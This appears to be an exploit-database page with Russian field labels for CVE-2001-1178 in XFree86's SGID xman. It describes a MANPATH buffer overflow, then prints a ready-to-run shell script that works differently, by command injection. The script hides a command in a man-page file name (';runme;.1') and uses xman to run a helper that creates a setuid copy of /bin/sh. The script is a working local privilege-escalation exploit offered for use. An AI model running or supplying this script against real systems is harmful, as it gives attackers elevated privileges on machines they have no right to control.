Exploit XFree86 X11R6 3.3.2 XMan - ManPath Environment Variable Buffer Overflow

[Exploiter]

EDB-ID

21010

Проверка EDB

1. Пройдено

Автор

KF

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

cve-2001-1178

Дата публикации

2001-06-11

source: https://www.securityfocus.com/bid/3030/info

xman is a component included with the XFree86 Window System.

A buffer overflow in the handling of the MANPATH environment variable by xman makes it possible for a local user to execute arbitrary code. By inserting 70000 characters into the MANPATH variable, it is possible to overwrite stack variables, including the return address. xman is SGID man.

This problem makes it possible for a local user to execute arbitrary code, gaining elevated privileges, and potentially root access. 

#!/bin/sh
# example of xman exploitation. xman
# supports privileges.  but, never
# drops them.
# Vade79 -> [email protected] -> realhalo.org.
MANPATH=~/xmantest/
mkdir -p ~/xmantest/man1
cd ~/xmantest/man1
touch ';runme;.1'
cat << EOF >~/xmantest/runme
#!/bin/sh
cp /bin/sh ~/xmansh
chown `id -u` ~/xmansh
chmod 4755 ~/xmansh
EOF
chmod 755 ~/xmantest/runme
echo "click the ';runme;' selection," \
"exit.  then, check for ~/xmansh."
xman -bothshown -notopbox
rm -rf ~/xmantest